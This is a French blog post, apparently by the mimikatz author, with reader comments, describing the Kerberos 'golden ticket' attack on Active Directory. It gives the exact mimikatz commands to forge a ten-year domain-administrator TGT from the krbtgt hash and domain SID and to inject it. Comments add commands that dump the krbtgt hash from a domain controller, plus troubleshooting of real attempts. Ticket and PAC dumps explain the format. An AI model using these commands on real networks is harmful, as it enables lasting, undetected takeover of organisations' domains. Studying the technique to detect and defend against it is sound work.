
Nous l’avons vu précédemment, les tickets Kerberos peuvent être récupérés et réinjectés.
Ces derniers sont très pratiques :
- ils permettent l’authentification basé sur un mot de passe ou une carte à puce ;
- le SSO associé reste transparent ;
- le changement de mot de passe n’influe pas sur les tickets déjà émis ;
- etc.
La cible de choix concernant les tickets Kerberos reste le TGT. Ce ticket ne permet pas d’accéder directement à un service en particulier, mais « représente » l’identité de l’utilisateur courant lors des demandes de tickets de service au KDC (permettant ensuite d’accéder directement à une multitude de services ;))
Le TGT est généré par le KDC après que le client ait « prouvé » qu’il possédait un secret de l’utilisateur (le hash NTLM découlant du mot de passe utilisateur ou la clé privée d’un certificat émis par une autorité autorisé du domaine).
Par défaut ce TGT est valide 10 heures, et peut être renouvelé tacitement pendant 7 jours.
Le client a connaissance des métadonnées du ticket Kerberos pour son suivi (quand le renouveler, pour quel domaine ce dernier peut être utilisé, avec quelle clé de session chiffrer les échanges…), mais le TGT en lui même est chiffré par le KDC via le hash du compte krbtgt
. Le client ne peut pas le déchiffrer , il s’en sert « tel quel ».
Création d’un ticket d’or
A partir d’informations spécifiques, il est possible de demander à mimikatz
de créer un TGT très particulier du compte admin du domaine !
Ces informations sont :
- Nom du compte administrateur (Administrateur)
- Nom complet du domaine (domain.local)
- SID du domaine (
S-1-5-21-1723555596-1415287819-2705645101
) - Hash NTLM du compte
krbtgt
(6194bd1a5bf3ecd542e8aac9860bddf0
)
C’est tout.
Le ticket d’or peut être généré depuis n’importe quelle machine, même hors du domaine…
mimikatz # kerberos::golden /admin:Administrateur /domain:domain.local /sid:S-1-5-21-1723555596-1415287819-2705645101 /krbtgt:6194bd1a5bf3ecd542e8aac9860bddf0 /ticket:domain.local.kirbi
Ha oui, quelques rappels/détails :
- il s’agit du compte Administrateur du domaine ;
- ce ticket est valide 10
heuresans ; - le changement de mot de passe du compte Administrateur n’a aucun impact sur ce ticket ;
- ce ticket n’est pas émis par le KDC, il n’est pas assujetti aux restrictions des méthodes de chiffrements autorisées ;
- le hash NTLM du compte
krbtgt
/la clé du KDC n’est pas renouvelée automatiquement.
Utilisation du ticket d’or
Tout comme un ticket « récupéré », ce ticket d’or peut être injecté sous Windows NT 6 via le message au package Kerberos : KerbSubmitTicketMessage
.
mimikatz # kerberos::ptt domain.local.kirbi
Téléchargement
La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz
Explications
Nul besoin d’être Willy Wonka pour comprendre le format des tickets Kerberos, ainsi que les petites spécificités Microsoft pour la partie « autorisation » :
Extrait :
KRB-CRED ::= [APPLICATION 22] SEQUENCE { pvno [0] INTEGER (5), msg-type [1] INTEGER (22), tickets [2] SEQUENCE OF Ticket, enc-part [3] EncryptedData -- EncKrbCredPart }
Il « suffit » de créer, chiffrer et encoder correctement les structures qui suivent.
Contenu du TGT
sous sa forme KRB-CRED
Le ticket est encodé en ASN.1 et contient une partie des métadonnées.
APPLICATION (22) : SEQUENCE : (0) : INTEGER : 5 (1) : INTEGER : 22 (2) : SEQUENCE : APPLICATION (1) : SEQUENCE : (0) : INTEGER : 5 (1) : GENERAL STRING : 'DOMAIN.LOCAL' (2) : SEQUENCE : (0) : INTEGER : 2 (1) : SEQUENCE : GENERAL STRING : 'krbtgt' GENERAL STRING : 'DOMAIN.LOCAL' (3) : SEQUENCE : (0) : INTEGER : 23 (1) : INTEGER : 2 (2) : OCTET STRING : 68A972A80FE035DE6D165F63F6071D [...] 59BD9F3FA2C146053271 (3) : SEQUENCE : (0) : INTEGER : 0 (2) : OCTET STRING : APPLICATION (29) : SEQUENCE : (0) : SEQUENCE : SEQUENCE : (0) : SEQUENCE : (0) : INTEGER : 23 (1) : OCTET STRING : 582AE1D0472CE6F2C0E4CADB3BCE91C1 (1) : GENERAL STRING : 'DOMAIN.LOCAL' (2) : SEQUENCE : (0) : INTEGER : 1 (1) : SEQUENCE : GENERAL STRING : 'Administrateur' (3) : BIT STRING UnusedBits:0 : 40E10000 (5) : GENERALIZED TIME : '20140118160650Z' (6) : GENERALIZED TIME : '20140119020650Z' (7) : GENERALIZED TIME : '20140125160650Z' (8) : GENERAL STRING : 'DOMAIN.LOCAL' (9) : SEQUENCE : (0) : INTEGER : 2 (1) : SEQUENCE : GENERAL STRING : 'krbtgt' GENERAL STRING : 'DOMAIN.LOCAL'
Les lignes 17 à 19 sont un extrait du TGT chiffrés.
TGT déchiffré
A l’aide du hash NTLM du compte krbtgt
, le TGT peut être déchiffré.
C’est d’ailleurs ce que fait le KDC quand le TGT lui est renvoyé lors d’une demande de ticket de service. Il ne prend évidemment pas pour argent comptant les métadonnées renvoyés par le client.
APPLICATION (3) : SEQUENCE : (0) : BIT STRING UnusedBits:0 : 40E10000 (1) : SEQUENCE : (0) : INTEGER : 23 (1) : OCTET STRING : 582AE1D0472CE6F2C0E4CADB3BCE91C1 (2) : GENERAL STRING : 'DOMAIN.LOCAL' (3) : SEQUENCE : (0) : INTEGER : 1 (1) : SEQUENCE : GENERAL STRING : 'Administrateur' (4) : SEQUENCE : (0) : INTEGER : 0 (1) : OCTET STRING : (5) : GENERALIZED TIME : '20140118160650Z' (6) : GENERALIZED TIME : '20140118160650Z' (7) : GENERALIZED TIME : '20140119020650Z' (8) : GENERALIZED TIME : '20140125160650Z' (10) : SEQUENCE : SEQUENCE : (0) : INTEGER : 1 (1) : OCTET STRING : SEQUENCE : SEQUENCE : (0) : INTEGER : 128 (1) : OCTET STRING : 050000000000000001000000280 [...] B22B83D6D3B9D549E88D0000000
Les lignes 24 à 26 sont un extrait du PAC (structure regroupant des données d’autorisation).
Contenu du PAC
Ces données sont encodées au format DCE avec un marshalling des données RPCE. Cette structure peut, dans certains cas, contenir les hashs LM/NTLM de l’utilisateur.
*** Logon Informations *** LogonTime 01cf14674bc48b49 - 18/01/2014 17:06:50 LogoffTime 7fffffffffffffff - KickOffTime 7fffffffffffffff - PasswordLastSet 01cf0fe36db4dea8 - 12/01/2014 23:12:48 PasswordCanChange 01cf10ac981e9ea8 - 13/01/2014 23:12:48 PasswordMustChange 01cf30e4630e5ea8 - 23/02/2014 23:12:48 EffectiveName (28, 28, @ 00020004) Administrateur FullName (50, 50, @ 00020008) Administrateur du domaine LogonScript ( 0, 0, @ 0002000c) (null) ProfilePath ( 0, 0, @ 00020010) (null) HomeDirectory ( 0, 0, @ 00020014) (null) HomeDirectoryDrive ( 0, 0, @ 00020018) (null) LogonCount 18 BadPasswordCount 0 UserId 000001f4 (500) PrimaryGroupId 00000201 (513) GroupCount 5 GroupIds @ 0002001c * 520 (7) * 513 (7) * 512 (7) * 518 (7) * 519 (7) UserFlags 00000020 (32) UserSessionKey 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 LogonServer (22, 24, @ 00020020) DC-2012R2-X LogonDomainName (12, 14, @ 00020024) DOMAIN LogonDomainId @ 00020028 * SID : S-1-5-21-1723555596-1415287819-2705645101 UserAccountControl 00000010 (16) SubAuthStatus 00000000 (0) LastSuccessfulILogon 0000000000000000 LastFailedILogon 0000000000000000 FailedILogonCount 0 SidCount 1 ExtraSids @ 0002002c ResourceGroupDomainSid @ 00000000 ResourceGroupCount 0 ResourceGroupIds @ 00000000 *** Client name and ticket information *** ClientId 01cf14674ba00900 - 18/01/2014 17:06:50 Client (28, Administrateur) *** Server Signature *** Type -138 - (0) : 28 0c 88 6b ac 03 88 86 c6 dc ed a2 55 15 b9 b0 *** KDC Signature *** Type -138 - (0) : d7 2d f9 00 a5 e4 b2 2b 83 d6 d3 b9 d5 49 e8 8d
La signature du serveur est ici basé sur la clé du KDC elle même (la cible d’un TGT restant finalement un KDC). S’il s’agissait d’un ticket de service, le hash du compte NTLM du servicé visé aurait été utilisé.
La signature du KDC est évidemment basée sur la clé du KDC.
Plus d’information sur la signature du PAC :
How did you get the krbtgt hash?
It’s in an AD dump, even a very old ;)
You can also get it with :
lsadump::samrpc /patch
on a DC.Get it once by pass the pass/hash/ticket, win all the time =)
Ping : The path to the Golden Ticket | Count Upon Security
Ping : Protection from Kerberos Golden Ticket – CERT-EU » RO Windows Administrators Weblog
Hello,
I tried two scenerios seperately. In first sceneio I created a Golden Ticket in a standalone computer. In second scenerio I used Golden Ticket in a standalone computer.
First:
While creating Golden Ticket, I used a meterpreter session that belongs to a standalone computer (not a domain PC). And this Golden Ticket worked while authentication to DC (net use \\DC\C$) from a domain computer.
Second:
After creating a valid Golden Ticket, I couldn’t authenticate to DC from a standalone computer using this GOlden Ticket. I can see my new ticket using « cmd –> klist » or « kiwi –> kerberos_ticket_list » in standalone computer. But it doesn’t work.
Do you have any idea why can’t I use my valid Golden Ticket in a standalone computer?
Use FQDN (or client may use NTLM)
All my screenshots or demos are made on an external computer.
hello!
I run this command then: « kerberos::ptt hehe.kirbi » had error,
0 – File ‘hehe.kirbi’ : ERROR kuhl_m_kerberos_ptt_data ; LsaCallAuthenticationPackage KerbSubmitTicketMessage : c000000d
ERROR kuhl_m_kerberos_ptt_file ; LsaCallKerberosPackage c000000d
why? Can you help me ? thanks.
Pass-the-ticket is only available on NT 6 (no XP/2003)
I run this command:
mimikatz(commandline) # kerberos::golden /admin:administrator /domain:demo.com /
sid:S-1-5-21-759417663-2000972068-685753382 /krbtgt:806BF7817C261003A7407346C667
FEB1 /ticket:nbs.kirbi
User : administrator
Domain : demo.com
SID : S-1-5-21-759417663-2000972068-685753382
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 806bf7817c261003a7407346c667feb1 – rc4_hmac_nt
Lifetime : 2015/1/19 17:49:57 ; 2025/1/16 17:49:57 ; 2025/1/16 17:49:57
-> Ticket : nbs.kirbi
……
mimikatz # kerberos::ptt nbs.kirbi
0 – File ‘nbs.kirbi’ : OK
mimikatz # kerberos::list
[00000000] – 0x00000017 – rc4_hmac_nt
Start/End/MaxRenew: 2015/1/19 17:49:57 ; 2025/1/16 17:49:57 ; 2025/1/16 17:49
:57
Server Name : krbtgt/demo.com @ demo.com
Client Name : administrator @ demo.com
Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ;
I was wrong?
Ping : [Post Exploitation]#3 Golden Ticket ile Etki Alanına Sürekli ve Yetkili Erişim
Merci beaucoup pour ton travail et pour le partage, Très instructif.
Je test la génération d un Golden Ticket sur un domaine géré par un Windows Serveur 2012 R2
poste client Windows 7 à jour
je génère sans problème le Golden Ticket avec la commande
mimikatz # kerberos::golden /admin:test /domain:test.lan /sid:S-1-5-21-569530010-1555119846-14xxxxxxxx /krbtgt:325ca6494178
1459048c9d15xxxxxxxx /ticket:test.kirbi
User : test
Domain : test.lan (TEST)
SID : S-1-5-21-569530010-1555119846-14xxxxxxxx
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 325ca64941781459048c9d15xxxxxxxx – rc4_hmac_nt
Lifetime : 31/08/2016 14:26:48 ; 29/08/2026 14:26:48 ; 29/08/2026 14:26:48
-> Ticket : test.kirbi
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Final Ticket Saved to file !
j obtiens mon tk
sur ma session user je fait un kerberos::ptt test.kirbi
* File: ‘test.kirbi’: OK
mimikatz # kerberos::list
[00000000] – 0x00000017 – rc4_hmac_nt
Start/End/MaxRenew: 31/08/2016 14:26:48 ; 29/08/2026 14:26:48 ; 29/08/2026 14:26:48
Server Name : krbtgt/test.lan @ test.lan
Client Name : test@ test.lan
Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ;
mimikatz # kerberos::tgt
Kerberos TGT of current session :
Start/End/MaxRenew: 31/08/2016 14:26:48 ; 29/08/2026 14:26:48 ; 29/08/2026 14:26:48
Service Name (02) : krbtgt ; test.lan ; @ test.lan
Target Name (–) : @ test.lan
Client Name (01) : test; @ test.lan
Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ;
Session Key : 0x00000017 – rc4_hmac_nt
00000000000000000000000000000000
Ticket : 0x00000017 – rc4_hmac_nt ; kvno = 0 […]
** Session key is NULL! It means allowtgtsessionkey is not set to 1 **
jusqu ici tout va bien ;-)
mimikatz # exit
Bye!
PS C:\mimikatz> klist
LogonId est 0:0x103bc6d
Tickets mis en cache : (1)
#0> Client : test@ test.lan
Serveur : krbtgt/test.lan @ test.lan
Type de chiffrement KerbTicket : RSADSI RC4-HMAC(NT)
Indicateurs de tickets 0x40e00000 -> forwardable renewable initial pre_authent
Heure de démarrage : 8/31/2016 14:26:48 (Local)
Heure de fin : 8/29/2026 14:26:48 (Local)
Heure de renouvellement : 8/29/2026 14:26:48 (Local)
Type de clé de session : RSADSI RC4-HMAC(NT)
PS C:\mimikatz> net use \\ServeurTest\c$
Le mot de passe n’est pas valide pour \\ServeurTest\c$.
Entrez le nom d’utilisateur de ‘ServeurTest’:
impossible de m identifier avec ce compte admin du domaine, j ai essayé avec plusieurs compte admin différents mais j ‘ai toujours le même problème. le mot de passe n’est pas valide, et quand je refais la commande klist ou kerberos::list je n’est plus de ticket en cache, il a disparu suite à la tentative d ‘authentification .
En faisant un pass the Ticket j’arrive à m’authentifier mais pas en forgeant un golden Ticket !
Si tu as un peu de temps à m’accorder …
bye Vico
Je répond moi même :-)
je hash krbtgt etait faux, je pensais qu il s agissait du hash NTLM de l’utilisateur ‘test’ dans mon cas alors qu il faut le hash krbtgt du contrôleur de domaine
pour info et pour ceux qui pourrait être bloqué par le même problème que moi, voici comment le trouver
– sur le contrôleur de domaine
privilege::debug
lsadump::lsa /inject /name:krbtgt
User : krbtgt
* Primary
LM :
NTLM : « xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx » (voici le précieux :) hash krbtgt
Bye Vico
Ping : Ele Geçirilen Etki Alanı Denetleyicisi Üzerinde Golden Ticket Oluşturarak Etki Alanına Sürekli ve Yetkili Erişimin Sağlanması Saldırısına Karşı Alınabilecek Önlemler - SİBER GÜVENLİK PORTALİ
Ping : PrivExchange : L'escalade de privilège AD | SYNETIS